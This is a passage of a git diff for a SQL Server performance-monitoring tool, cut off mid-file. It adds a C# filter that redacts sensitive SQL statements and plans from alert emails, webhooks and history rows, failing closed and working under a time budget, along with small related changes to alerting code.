@@ -3251,6 +3251,16 @@ public static AlertSeverityLevel GradeCpuFire(double cpuPercent) =>
     /// </summary>
     private async Task<AlertDelivery?> FireAsync(AlertOutcome outcome, CancellationToken ct)
     {
+        /* #5320 (part of #4348): the statement filter runs on every fire, before the log line and before any
+           deliverer sees the outcome. Mute rules were evaluated by the family on the RAW text and arrive as
+           outcome.Muted, so a rule keyed on a statement still matches; only what leaves the process (the log,
+           the channels, the history row) is filtered. Both deliverers re-derive their text from the context, so
+           the context is rewritten, not just DetailText. */
+        /* #5484: when the start-up warm-up is still running, wait for it here, asynchronously (Lite fires from its UI
+           thread), so the filter's own blocking wait finds the warm-up done or the 3 s deadline passed. */
+        await SensitiveStatements.WhenWarmAsync();
+        outcome = AlertStatementFilter.MarkJudged(AlertStatementFilter.Apply(outcome));
+
         _logger?.LogWarning(
             "{Line}",
             AlertFiringLog.Fired(
diff --git a/PerformanceMonitor.Alerting/AlertReadFailureCounter.cs b/PerformanceMonitor.Alerting/AlertReadFailureCounter.cs
index 0061bfaf37..b1041a76dc 100644
--- a/PerformanceMonitor.Alerting/AlertReadFailureCounter.cs
+++ b/PerformanceMonitor.Alerting/AlertReadFailureCounter.cs
@@ -835,6 +835,11 @@ private static string FleetSentence(Reading reading)
     /// digest-routed alert-history rows, Darling-only like the other two documents. Counted on the rollup's
     /// reasoning: its swallowed failure skips the day's tick without consuming the interval, and a fault
     /// folded into "no singles today" would make an unreadable store read as a quiet one.</para>
+    ///
+    /// <para>#5450 added the daily collection-history audit's rollup read, Darling-only: a source whose bucket
+    /// read fails or times out is left unread and retried until the next day's slot, so a nonzero count naming
+    /// it says a source could not be asked, and a fault folded into "no thin hours" would read an unreadable
+    /// history as a complete one.</para>
     /// </summary>
     public const string FleetScopedReads =
         "the collector-cost regression self-alert and its two #3443 companions (the collector-cost census "
@@ -846,7 +851,7 @@ private static string FleetSentence(Reading reading)
         + "health reads behind compression-job health, store-job cadence and retention holds, and the two "
         + "informational store self-alerts #3826 added — the plan dimension's TOAST slack read and the "
         + "store checkpointer pressure read behind the WAL levers, and the store settings self-alert's "
-        + "managed-conf verdicts read (#4215)";
+        + "managed-conf verdicts read (#4215), and the daily collection-history audit's rollup read (#5450)";
 
     /// <summary>
     /// The window these figures cover, and the window they do NOT.
diff --git a/PerformanceMonitor.Alerting/AlertStatementFilter.cs b/PerformanceMonitor.Alerting/AlertStatementFilter.cs
new file mode 100644
index 0000000000..a818ff8f11
--- /dev/null
+++ b/PerformanceMonitor.Alerting/AlertStatementFilter.cs
@@ -0,0 +1,690 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+
+namespace PerformanceMonitor.Alerting;
+
+/// <summary>
+/// The statement filter for alert notifications (#5320, part of #4348): every statement or plan an alert would
+/// carry out to a channel (email body, webhook fields, the XML attachment, the history row) goes through the
+/// same <see cref="SensitiveStatements"/> judge the MCP tools and the web pages use.
+///
+/// <para><b>Where it runs.</b> <c>AlertEngine.FireAsync</c> applies it to every <see cref="AlertOutcome"/> before
+/// the firing is logged or delivered, and both deliverers apply it again at their own entry (#5320), so a caller that
+/// hands an outcome straight to a deliverer (the PostgreSQL families, the self alerts, the custom alert rules) is
+/// covered too; the filter remembers the instances it judged, so an engine alert is not judged twice (see "Already judged"). The two finding senders apply it to a <see cref="FindingAlert"/>
+/// before they compose a message or a history row. Mute rules are evaluated BEFORE the fire, on the raw
+/// text, so a rule keyed on a statement still matches; only what leaves the process is filtered.</para>
+///
+/// <para><b>What is judged.</b> Every detail item's heading, field values, record summaries and texts, and body
+/// (through <see cref="SensitiveStatements.Text"/>); the alert-level attachment and each incident's attachment
+/// (through <see cref="SensitiveStatements.Xml(string?, int)"/>); each incident's involved objects and forensic field values. A value
+/// that is not named comes back as the SAME instance, and an alert with nothing named comes back as the same
+/// object, so the common case allocates nothing.</para>
+///
+/// <para><b>Already judged.</b> The filter keeps the outcome instances it judged in a private
+/// <see cref="ConditionalWeakTable{TKey, TValue}"/>; there is no flag on <see cref="AlertOutcome"/> a caller could set. An
+/// instance in the table passes through <see cref="Apply(AlertOutcome)"/> untouched. A <c>with</c> copy is a NEW
+/// instance, so text added to a judged outcome after the fact is judged again, and an outcome a caller builds is always
+/// judged. Only <c>AlertEngine</c> (same assembly) and the test projects can mark an instance without judging it
+/// (<see cref="MarkJudged(AlertOutcome)"/> is internal).</para>
+///
+/// <para><b>Names.</b> A custom alert rule's display name is judged (it rides subjects and titles), and so is the
+/// name on the resolution rows the rule's evaluator writes (<c>CustomAlertEvaluator.JudgedRuleName</c>), because those
+/// rows go out to the history store. The server name and the metric name are routing and pairing keys and stay as
+/// typed, and local log lines (which never leave the machine) are not filtered.</para>
+///
+/// <para><b>Budget.</b> One <c>JudgeBudget</c> per <see cref="Apply(AlertOutcome)"/> call, shared by every value
+/// it judges. It starts at 1.5 s and earns 0.5 s per 1,048,576 characters of each distinct document it judges (the
+/// alert's attachment, each incident's attachment, a long detail value), up to 10 s, so several incidents with large
+/// reports do not starve each other and one alert still stalls for a bounded time. A document that appears twice
+/// (the alert's attachment is also its first incident's) is judged once per budget and the repeat reuses the first
+/// result (#5477). Past the limit a value is withheld unjudged (the marker), never passed. A list of finding alerts
+/// shares one budget across the list. A call that judges 256 KB or more of text first waits for a running start-up
+/// warm-up, up to 3 s after the warm-up started; that wait comes before the budget starts and is not counted in it
+/// (#5478).</para>
+///
+/// <para><b>Failure.</b> Never throws and never lets the input through after a failure: the alert is delivered
+/// with its detail items cleared, its attachments dropped, each incident's objects, forensic fields and attachment
+/// dropped (the dedup keys stay, so cooldown and per-event splitting still work), and its detail text and short
+/// message set to <see cref="SensitiveStatements.PlaceholderText"/>.</para>
+/// </summary>
+public static class AlertStatementFilter
+{
+    /// <summary>
+    /// The outcome with its context, detail text and short message judged. Returns the SAME instance when
+    /// nothing is named.
+    /// <para><b>Detail text.</b> When the original <see cref="AlertOutcome.DetailText"/> is exactly the flattening of
+    /// the original context (every engine alert), it is rebuilt from the filtered context, so the flat text and the
+    /// structured detail say the same thing; otherwise (a self-alert's own prose, an analysis finding's prose) it
+    /// is judged whole. <see cref="AlertOutcome.ShortMessage"/> is judged whole.</para>
+    /// </summary>
+    public static AlertOutcome Apply(AlertOutcome outcome)
+    {
+        ArgumentNullException.ThrowIfNull(outcome);
+
+        /* #5320: an outcome this filter already judged (the engine's FireAsync marks its own) is not judged again
+           at the deliverer's choke point. Only instances in the table count: a `with` copy or a caller-built
+           outcome is judged. */
+        if (Judged.TryGetValue(outcome, out _))
+        {
+            return outcome;
+        }
+
+        SensitiveStatements.WaitForWarmUp(() => JudgedChars(outcome));
+        try
+        {
+            var budget = NewBudget();
+            var context = ApplyCore(outcome.Context, budget);
+
+            var detailText = outcome.DetailText;
+            if (!string.IsNullOrEmpty(detailText))
+            {
+                detailText = outcome.Context is not null
+                    && string.Equals(detailText, AlertContextBuilders.ContextToDetailText(outcome.Context), StringComparison.Ordinal)
+                        ? (ReferenceEquals(context, outcome.Context) ? detailText : AlertContextBuilders.ContextToDetailText(context))
+                        : SensitiveStatements.TextUnder(budget, detailText);
+            }
+
+            var shortMessage = SensitiveStatements.TextUnder(budget, outcome.ShortMessage);
+
+            /* A custom alert rule's name is user-written and rides the subject and title (#5320). */
+            var displayName = SensitiveStatements.TextUnder(budget, outcome.DisplayName);
+
+            if (ReferenceEquals(context, outcome.Context)
+                && ReferenceEquals(displayName, outcome.DisplayName)
+                && ReferenceEquals(detailText, outcome.DetailText)
+                && ReferenceEquals(shortMessage, outcome.ShortMessage))
+            {
+                return Remember(outcome);
+            }
+
+            return Remember(outcome with { Context = context, DetailText = detailText, ShortMessage = shortMessage, DisplayName = displayName });
+        }
+#pragma warning disable CA1031 // fail closed: the filter never lets the input through after a failure
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            /* #5320 L2: an alert with no detail text (a per-event PostgreSQL deadlock or blocking alert) would
+               otherwise be delivered cleared with no reason, so its context carries the neutral sentence as a
+               detail item, and a context-less one carries it as its detail text. */
+            var noDetailText = string.IsNullOrEmpty(outcome.DetailText);
+            return Remember(outcome with
+            {
+                Context = Cleared(outcome.Context, withReason: noDetailText),
+                DetailText = noDetailText && outcome.Context is not null ? outcome.DetailText : SensitiveStatements.PlaceholderText,
+                ShortMessage = string.IsNullOrEmpty(outcome.ShortMessage) ? outcome.ShortMessage : SensitiveStatements.PlaceholderText,
+                DisplayName = string.IsNullOrEmpty(outcome.DisplayName) ? outcome.DisplayName : SensitiveStatements.PlaceholderText,
+            });
+        }
+    }
+
+    /// <summary>
+    /// The outcome <see cref="Apply(AlertOutcome)"/> returns, marked as judged (#5320). <c>AlertEngine.FireAsync</c>
+    /// calls this after <see cref="Apply(AlertOutcome)"/> (which already remembers what it returns, so this is a
+    /// belt for the engine's own call site). Always the SAME instance. Internal: marking without judging is for the
+    /// engine and the test projects only, and a caller outside the assembly cannot fake "already filtered" (M2, #5360).
+    /// </summary>
+    internal static AlertOutcome MarkJudged(AlertOutcome outcome)
+    {
+        ArgumentNullException.ThrowIfNull(outcome);
+        return Remember(outcome);
+    }
+
+    /* The instances this filter judged. Weak keys: an outcome nobody holds is collected, and the table never grows. */
+    private static readonly ConditionalWeakTable<AlertOutcome, object> Judged = new();
+    private static readonly object Mark = new();
+
+    /* #5459: a test seam for the wall-clock judge budget. The default is exactly what production always did: one
+       JudgeBudget at ReadBudget per call. A test that asserts what a clean document comes back as pins a budget that
+       cannot run out on a starved runner, and one that asserts the over-budget path hands in a budget that is already
+       spent. AsyncLocal, so a test's override reaches only its own call chain (the engine's awaited delivery too),
+       never another test running beside it. */
+    private static readonly AsyncLocal<Func<SensitiveStatements.JudgeBudget>?> BudgetOverride = new();
+
+    /// <summary>Test seam (#5459): every call on this logical flow builds its budget with <paramref name="make"/>
+    /// until the returned scope is disposed.</summary>
+    internal static IDisposable UseBudget(Func<SensitiveStatements.JudgeBudget> make)
+    {
+        ArgumentNullException.ThrowIfNull(make);
+        var previous = BudgetOverride.Value;
+        BudgetOverride.Value = make;
+        return new BudgetScope(previous);
+    }
+
+    private static SensitiveStatements.JudgeBudget NewBudget() =>
+        BudgetOverride.Value?.Invoke() ?? new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+
+    private sealed class BudgetScope(Func<SensitiveStatements.JudgeBudget>? previous) : IDisposable
+    {
+        public void Dispose() => BudgetOverride.Value = previous;
+    }
+
+    private static AlertOutcome Remember(AlertOutcome outcome)
+    {
+        Judged.TryAdd(outcome, Mark);
+        return outcome;
+    }
+
+    /// <summary>
+    /// The context judged under one budget of its own: the same instance when nothing is named, otherwise a copy
+    /// with the named values replaced. Never throws.
+    /// </summary>
+    public static AlertContext? Apply(AlertContext? context)
+    {
+        if (context is null)
+        {
+            return null;
+        }
+
+        SensitiveStatements.WaitForWarmUp(() => JudgedChars(context));
+        try
+        {
+            return ApplyCore(context, NewBudget());
+        }
+#pragma warning disable CA1031 // fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return Cleared(context, withReason: true);
+        }
+    }
+
+    /// <summary>
+    /// A finding alert with its context and detail text judged (an analysis finding quotes the statements of
+    /// its drill-down). Returns the SAME instance when nothing is named. Never throws.
+    /// </summary>
+    public static FindingAlert Apply(FindingAlert alert)
+    {
+        ArgumentNullException.ThrowIfNull(alert);
+        SensitiveStatements.WaitForWarmUp(() => JudgedChars(alert));
+        return ApplyFinding(alert, NewBudget());
+    }
+
+    /// <summary>The finding alerts of one summary message, judged under ONE budget.</summary>
+    public static IReadOnlyList<FindingAlert> Apply(IReadOnlyList<FindingAlert> alerts)
+    {
+        ArgumentNullException.ThrowIfNull(alerts);
+
+        SensitiveStatements.WaitForWarmUp(() =>
+        {
+            long judgedChars = 0;
+            for (var i = 0; i < alerts.Count; i++)
+            {
+                judgedChars += JudgedChars(alerts[i]);
+            }
+
+            return judgedChars;
+        });
+        var budget = NewBudget();
+        List<FindingAlert>? result = null;
+        for (var i = 0; i < alerts.Count; i++)
+        {
+            var judged = ApplyFinding(alerts[i], budget);
+            if (ReferenceEquals(judged, alerts[i]))
+            {
+                continue;
+            }
+
+            result ??= new List<FindingAlert>(alerts);
+            result[i] = judged;
+        }
+
+        return result ?? alerts;
+    }
+
+    private static FindingAlert ApplyFinding(FindingAlert alert, SensitiveStatements.JudgeBudget budget)
+    {
+        try
+        {
+            var context = ApplyCore(alert.Context, budget) ?? alert.Context;
+            var detailText = SensitiveStatements.TextUnder(budget, alert.DetailText) ?? alert.DetailText;
+            return ReferenceEquals(context, alert.Context) && ReferenceEquals(detailText, alert.DetailText)
+                ? alert
+                : alert with { Context = context, DetailText = detailText };
+        }
+#pragma warning disable CA1031 // fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return alert with
+            {
+                Context = Cleared(alert.Context, withReason: string.IsNullOrEmpty(alert.DetailText)) ?? alert.Context,
+                DetailText = string.IsNullOrEmpty(alert.DetailText) ? alert.DetailText : SensitiveStatements.PlaceholderText,
+            };
+        }
+    }
+
+    /// <summary>
+    /// Runs a blocked-process report and a deadlock graph of about 64 KB each, built here from made-up names, through the
+    /// alert path (and through the MCP and web sweep path) on a background thread, so the first real alert does not
+    /// pay for the first calls: the XML reader, the lazily built statement patterns and the filter's own code are built
+    /// here, and the hot methods are called enough times, with pauses between the rounds so the runtime's background
+    /// compiler gets to replace their first, unoptimized code (#5477). At least 40 judged documents, but never more than
+    /// about 2 seconds, off the startup path. Never throws and logs nothing; the task it returns always completes normally.
+    /// <para>Every <c>Apply</c> call that judges 256 KB or more of text in total waits for the most recent warm-up before
+    /// its budget starts, but never past 3 seconds from the moment that warm-up started, so the wait is not budget
+    /// time. The engine's async fire path awaits the warm-up instead of blocking a thread.</para>
+    /// </summary>
+    public static Task WarmUpAsync() => WarmUpAsync(null);
+
+    /// <summary>The same with a probe in place of the default work; a test passes one that throws or stalls. Internal so
+    /// no caller outside the product's own start path can choose the work every alert waits on (#5484).</summary>
+    internal static Task WarmUpAsync(Action? probe) =>
+        /* The task and its start time are registered before the work can run, and the work's own Apply calls never wait
+           on the warm-up they belong to. */
+        SensitiveStatements.StartWarmUp(() => RunWarmUpAsync(probe));
+
+    /// <summary>
+    /// The characters this call will judge, summed over the fields the filter reads (#5478): the text of each detail
+    /// item, the attachment, and each incident's objects, fields and attachment. The size gate of the warm-up wait.
+    /// </summary>
+    private static long JudgedChars(AlertOutcome outcome) =>
+        JudgedChars(outcome.Context) + Len(outcome.DetailText) + Len(outcome.ShortMessage) + Len(outcome.DisplayName);
+
+    private static long JudgedChars(FindingAlert alert) => JudgedChars(alert.Context) + Len(alert.DetailText);
+
+    private static long JudgedChars(AlertContext? context)
+    {
+        if (context is null)
+        {
+            return 0;
+        }
+
+        try
+        {
+            return SumJudgedChars(context);
+        }
+#pragma warning disable CA1031 // a context that cannot be measured (a null item) is failed closed by the judging itself
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return 0;
+        }
+    }
+
+    private static long SumJudgedChars(AlertContext context)
+    {
+        long total = Len(context.AttachmentXml);
+        if (context.Details is not null)
+        {
+            foreach (var item in context.Details)
+            {
+                total += Len(item.Heading) + Len(item.Body);
+                if (item.Fields is not null)
+                {
+                    foreach (var field in item.Fields)
+                    {
+                        total += Len(field.Value);
+                    }
+                }
+
+                if (item.Records is not null)
+                {
+                    foreach (var record in item.Records)
+                    {
+                        total += Len(record.Summary);
+                        if (record.Texts is not null)
+                        {
+                            foreach (var text in record.Texts)
+                            {
+                                total += Len(text.Text);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        if (context.Incidents is not null)
+        {
+            foreach (var incident in context.Incidents)
+            {
+                if (incident is null)
+                {
+                    continue;
+                }
+
+                if (incident.InvolvedObjects is not null)
+                {
+                    foreach (var involved in incident.InvolvedObjects)
+                    {
+                        total += Len(involved);
+                    }
+                }
+
+                if (incident.DetailFields is not null)
+                {
+                    foreach (var field in incident.DetailFields)
+                    {
+                        total += Len(field.Value);
+                    }
+                }
+
+                total += Len(incident.Attachment?.Xml);
+            }
+        }
+
+        return total;
+    }
+
+    private static int Len(string? text) => text?.Length ?? 0;
+
+    private static async Task RunWarmUpAsync(Action? probe)
+    {
+        try
+        {
+            if (probe is not null)
+            {
+                probe();
+            }
+            else
+            {
+                await WarmUpDocumentsAsync().ConfigureAwait(false);
+            }
+        }
+#pragma warning disable CA1031 // a warm-up that fails changes nothing: the first real call does the same work
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+        }
+    }
+
+    private const int WarmUpRounds = 4;
+    private const int WarmUpCallsPerRound = 12;
+    private const int WarmUpDocumentChars = 64 * 1024;
+    private static readonly TimeSpan s_warmUpPause = TimeSpan.FromMilliseconds(150);
+    private static readonly TimeSpan s_warmUpLimit = TimeSpan.FromSeconds(2);
+
+    private static async Task WarmUpDocumentsAsync()
+    {
+        var started = Stopwatch.GetTimestamp();
+        var documents = new[]
+        {
+            WarmUpDocument(blocked: true, comment: false),
+            WarmUpDocument(blocked: true, comment: true),
+            WarmUpDocument(blocked: false, comment: false),
+            WarmUpDocument(blocked: false, comment: true),
+        };
+        var plan = JsonSerializer.Serialize(new { plan = documents[1] });
+
+        for (var round = 0; round < WarmUpRounds; round++)
+        {
+            for (var call = 0; call < WarmUpCallsPerRound; call++)
+            {
+                if (Stopwatch.GetElapsedTime(started) > s_warmUpLimit)
+                {
+                    return;
+                }
+
+                _ = Apply(new AlertContext { AttachmentXml = documents[call % documents.Length] });
+                if (call % 4 == 3)
+                {
+                    // The MCP and web sweeps read through Json, which builds its own walkers.
+                    _ = SensitiveStatements.Json(plan);
+                }
+            }
+
+            await Task.Delay(s_warmUpPause).ConfigureAwait(false);
+        }
+    }
+
+    /// <summary>A report of about <see cref="WarmUpDocumentChars"/> characters with plain statements; with
+    /// <paramref name="comment"/> the statements hold a line comment, which is the shape the full walk (not the
+    /// raw-text shortcut) handles.</summary>
+    private static string WarmUpDocument(bool blocked, bool comment)
+    {
+        var text = new StringBuilder(WarmUpDocumentChars + 512);
+        text.Append(blocked
+            ? "<blocked-process-report monitorLoop=\"1\"><blocked-process>"
+            : "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list>");
+        for (var i = 0; text.Length < WarmUpDocumentChars; i++)
+        {
+            var statement = "SELECT warm_a, warm_b FROM dbo.warm_table_" + i.ToString(CultureInfo.InvariantCulture)
+                + (comment ? " -- warm-up note" : string.Empty) + " WHERE warm_id = 7;";
+            if (blocked)
+            {
+                text.Append("<process id=\"process").Append(i.ToString(CultureInfo.InvariantCulture))
+                    .Append("\" status=\"suspended\" waitresource=\"KEY: 5:1\"><executionStack><frame line=\"1\">")
+                    .Append(statement).Append("</frame></executionStack><inputbuf>").Append(statement)
+                    .Append("</inputbuf></process>");
+            }
+            else
+            {
+                text.Append("<process id=\"process").Append(i.ToString(CultureInfo.InvariantCulture))
+                    .Append("\" status=\"suspended\" isolationlevel=\"read committed\"><executionStack><frame line=\"1\">")
+                    .Append(statement).Append("</frame></executionStack><inputbuf>").Append(statement)
+                    .Append("</inputbuf></process>");
+            }
+        }
+
+        text.Append(blocked ? "</blocked-process></blocked-process-report>" : "</process-list></deadlock>");
+        return text.ToString();
+    }
+
+    internal static AlertContext? ApplyCore(AlertContext? context, SensitiveStatements.JudgeBudget budget)
+    {
+        if (context is null)
+        {
+            return null;
+        }
+
+        var details = Rewrite(context.Details, item => ApplyItem(item, budget));
+        var attachmentXml = SensitiveStatements.Xml(context.AttachmentXml, budget);
+        var incidents = Rewrite(context.Incidents, incident => ApplyIncident(incident, budget));
+
+        if (ReferenceEquals(details, context.Details)
+            && ReferenceEquals(attachmentXml, context.AttachmentXml)
+            && ReferenceEquals(incidents, context.Incidents))
+        {
+            return context;
+        }
+
+        var copy = context.ShallowCopy();
+        copy.Details = details!;
+        copy.AttachmentXml = attachmentXml;
+        copy.Incidents = incidents;
+        return copy;
+    }
+
+    private static AlertDetailItem ApplyItem(AlertDetailItem item, SensitiveStatements.JudgeBudget budget)
+    {
+        var heading = SensitiveStatements.TextUnder(budget, item.Heading) ?? item.Heading;
+        var body = SensitiveStatements.TextUnder(budget, item.Body);
+
+        List<(string Label, string Value)>? fields = null;
+        for (var i = 0; i < item.Fields.Count; i++)
+        {
+            var judged = SensitiveStatements.TextUnder(budget, item.Fields[i].Value) ?? item.Fields[i].Value;
+            if (ReferenceEquals(judged, item.Fields[i].Value))
+            {
+                continue;
+            }
+
+            fields ??= new List<(string Label, string Value)>(item.Fields);
+            fields[i] = (item.Fields[i].Label, judged);
+        }
+
+        var records = Rewrite(item.Records, record => ApplyRecord(record, budget));
+
+        if (ReferenceEquals(heading, item.Heading)
+            && ReferenceEquals(body, item.Body)
+            && fields is null
+            && ReferenceEquals(records, item.Records))
+        {
+            return item;
+        }
+
+        var copy = item.ShallowCopy();
+        copy.Heading = heading;
+        copy.Body = body;
+        copy.Fields = fields ?? item.Fields;
+        copy.Records = records!;
+        return copy;
+    }
+
+    private static AlertDetailRecord ApplyRecord(AlertDetailRecord record, SensitiveStatements.JudgeBudget budget)
+    {
+        var summary = SensitiveStatements.TextUnder(budget, record.Summary) ?? record.Summary;
+
+        List<(string Label, string Text)>? texts = null;
+        for (var i = 0; i < record.Texts.Count; i++)
+        {
+            var judged = SensitiveStatements.TextUnder(budget, record.Texts[i].Text) ?? record.Texts[i].Text;
+            if (ReferenceEquals(judged, record.Texts[i].Text))
+            {
+                continue;
+            }
+
+            texts ??= new List<(string Label, string Text)>(record.Texts);
+            texts[i] = (record.Texts[i].Label, judged);
+        }
+
+        return ReferenceEquals(summary, record.Summary) && texts is null
+            ? record
+            : record with { Summary = summary, Texts = texts ?? record.Texts };
+    }
+
+    private static AlertIncident ApplyIncident(AlertIncident incident, SensitiveStatements.JudgeBudget budget)
+    {
+        /* #5320 L1: a null element has nothing to judge; it must not make the judge throw (and then the
+           failure path throw again). */
+        if (incident is null)
+        {
+            return incident!;
+        }
+
+        /* #5320 M1: the objects an incident is about are text too. The PostgreSQL blocking and deadlock builders
+           put the root query and the victim statement there, and the objects reach the email table, the webhook
+           payload and the history row's context JSON. The dedup key is an identity or a hash and is not judged. */
+        List<string>? objects = null;
+        var involved = incident.InvolvedObjects;
+        if (involved is { Count: > 0 })
+        {
+            for (var i = 0; i < involved.Count; i++)
+            {
+                var judged = SensitiveStatements.TextUnder(budget, involved[i]) ?? involved[i];
+                if (ReferenceEquals(judged, involved[i]))
+                {
+                    continue;
+                }
+
+                objects ??= new List<string>(involved);
+                objects[i] = judged;
+            }
+        }
+
+        List<AlertIncidentField>? fields = null;
+        if (incident.DetailFields is { Count: > 0 } source)
+        {
+            for (var i = 0; i < source.Count; i++)
+            {
+                var judged = SensitiveStatements.TextUnder(budget, source[i].Value) ?? source[i].Value;
+                if (ReferenceEquals(judged, source[i].Value))
+                {
+                    continue;
+                }
+
+                fields ??= new List<AlertIncidentField>(source);
+                fields[i] = source[i] with { Value = judged };
+            }
+        }
+
+        var attachment = incident.Attachment;
+        if (attachment is not null)
+        {
+            var xml = SensitiveStatements.Xml(attachment.Xml, budget);
+            if (!ReferenceEquals(xml, attachment.Xml))
+            {
+                attachment = attachment with { Xml = xml! };
+            }
+        }
+
+        return objects is null && fields is null && ReferenceEquals(attachment, incident.Attachment)
+            ? incident
+            : incident with
+            {
+                InvolvedObjects = (IReadOnlyList<string>?)objects ?? incident.InvolvedObjects,
+                DetailFields = fields ?? incident.DetailFields,
+                Attachment = attachment,
+            };
+    }
+
+    /// <summary>A list with each element rewritten, or the SAME list when no element changed.</summary>
+    private static List<T>? Rewrite<T>(List<T>? list, Func<T, T> rewrite)
+        where T : class
+    {
+        if (list is null)
+        {
+            return null;
+        }
+
+        List<T>? result = null;
+        for (var i = 0; i < list.Count; i++)
+        {
+            var judged = rewrite(list[i]);
+            if (ReferenceEquals(judged, list[i]))
+            {
+                continue;
+            }
+
+            result ??= new List<T>(list);
+            result[i] = judged;
+        }
+
+        return result ?? list;
+    }
+
+    /// <summary>
+    /// The failure shape: a copy with no detail items, no attachment, and every incident reduced to its identity
+    /// (dedup key, counts) without its objects, forensic fields or an attachment. With <paramref name="withReason"/>
+    /// the copy carries one detail item holding <see cref="SensitiveStatements.PlaceholderText"/>, so a cleared alert
+    /// that has no detail text of its own still says why it has no detail.
+    /// </summary>
+    private static AlertContext? Cleared(AlertContext? context, bool withReason)
+    {
+        if (context is null)
+        {
+            return null;
+        }
+
+        var copy = context.ShallowCopy();
+        copy.Details = new List<AlertDetailItem>();
+        if (withReason)
+        {
+            copy.Details.Add(new AlertDetailItem { Heading = SensitiveStatements.PlaceholderText });
+        }
+
+        copy.AttachmentXml = null;
+        copy.AttachmentFileName = null;
+        if (context.Incidents is { } incidents)
+        {
+            var stripped = new List<AlertIncident>(incidents.Count);
+            foreach (var incident in incidents)
+            {
+                /* A null element (#5320 L1) stays as it is: there is nothing in it to leak. */
+                stripped.Add(incident is null ? incident! : incident with { InvolvedObjects = Array.Empty<string>(), DetailFields = null, Attachment = null });
+            }
+
+            copy.Incidents = stripped;
+        }
+
+        return copy;
+    }
+}
diff --git a/PerformanceMonitor.Alerting/DeadlockAlertRow.cs b/PerformanceMonitor.Alerting/DeadlockAlertRow.cs
index 4952fc68a8..538ac0c178 100644
--- a/PerformanceMonitor.Alerting/DeadlockAlertRow.cs
+++ b/PerformanceMonitor.Alerting/DeadlockAlertRow.cs
@@ -274,11 +274,11 @@ truncation can reach. */
         if (statement.Length > 0)
         {
             /* Last, so the truncation can only ever cut the statement and never a fact behind it.
-               TruncateText also collapses newlines to spaces, which is what keeps an inputbuf carrying a
-               multi-statement batch from emitting body lines that the mute pre-fill's label matcher would
+               TruncateStatement judges the whole statement first (#5320), then collapses newlines to
+               spaces, which is what keeps an inputbuf carrying a multi-statement batch from emitting body lines that the mute pre-fill's label matcher would
                read as fields of their own. */
             value.Append(SegmentSeparator).Append(HasProcName(proc) ? "proc: " : "sql: ")
-                 .Append(AlertContextBuilders.TruncateText(statement, StatementMaxLength));
+                 .Append(AlertContextBuilders.TruncateStatement(statement, StatementMaxLength));
         }
 
         return value.ToString();
diff --git a/PerformanceMonitor.Alerting/FailedJobsQuery.cs b/PerformanceMonitor.Alerting/FailedJobsQuery.cs
index d29f43d017..4e97de4180 100644
--- a/PerformanceMonitor.Alerting/FailedJobsQuery.cs
+++ b/PerformanceMonitor.Alerting/FailedJobsQuery.cs
@@ -60,7 +60,7 @@ public static class FailedJobsQuery
     public const string Sql = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT TOP (50)
+SELECT TOP (50) /* PerformanceMonitorLite */
     job_name = j.name,
     job_id = CONVERT(varchar(36), j.job_id),
     run_datetime =
diff --git a/PerformanceMonitor.Alerting/PerformanceMonitor.Alerting.csproj b/PerformanceMonitor.Alerting/PerformanceMonitor.Alerting.csproj
index 1e5138a0d9..dc46ca0bbc 100644
--- a/PerformanceMonitor.Alerting/PerformanceMonitor.Alerting.csproj
+++ b/PerformanceMonitor.Alerting/PerformanceMonitor.Alerting.csproj
@@ -20,4 +20,11 @@
          project already references Common directly. -->
     <ProjectReference Include="..\PerformanceMonitor.Common\PerformanceMonitor.Common.csproj" />
   </ItemGroup>
+
+  <ItemGroup>
+    <!-- #5320: AlertStatementFilter.MarkJudged is internal (marking without judging must not be callable from
+         product code outside the engine); the two test projects pin it directly. -->
+    <InternalsVisibleTo Include="Darling.Tests" />
+    <InternalsVisibleTo Include="Lite.Tests" />
+  </ItemGroup>
 </Project>
diff --git a/PerformanceMonitor.Alerting/RunningJobsCurrency.cs b/PerformanceMonitor.Alerting/RunningJobsCurrency.cs
new file mode 100644
index 0000000000..6d5b190926
--- /dev/null
+++ b/PerformanceMonitor.Alerting/RunningJobsCurrency.cs
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+
+namespace PerformanceMonitor.Alerting;
+
+/// <summary>
+/// When the Running Jobs surfaces (the Lite and Darling Viewer tabs, the MCP tool and the web page they feed) may still call a
+/// stored snapshot "running now". The alert read already decides this for the long-running-job alert (#1812): a snapshot older than
+/// <see cref="AnomalousJobsResult.MaxSnapshotAge"/> at the server's effective running_jobs cadence is no evidence of anything
+/// current. The display reads use the same bound, because the snapshot is written only while a job runs: after a server goes
+/// offline, the msdb login is lost or the collector is switched off, the newest snapshot stays the newest forever and a job read
+/// as running for days (31 hours on the reported store) that ended long before. Without the bound only the latest SUCCESSFUL
+/// run decided, and a run that stored rows followed by nothing but failed runs (or no runs) never changed that answer.
+/// </summary>
+public static class RunningJobsCurrency
+{
+    /// <summary>
+    /// The oldest collection time still counted as current at <paramref name="nowUtc"/>: the same
+    /// <see cref="AnomalousJobsResult.MaxSnapshotAge"/> rule the alert read applies (three missed cycles at
+    /// <paramref name="cadenceMinutes"/>, floored at 10 minutes), a snapshot AT the cutoff still current.
+    /// </summary>
+    public static DateTime Cutoff(DateTime nowUtc, int cadenceMinutes)
+        => nowUtc - AnomalousJobsResult.MaxSnapshotAge(cadenceMinutes);
+
+    /// <summary>
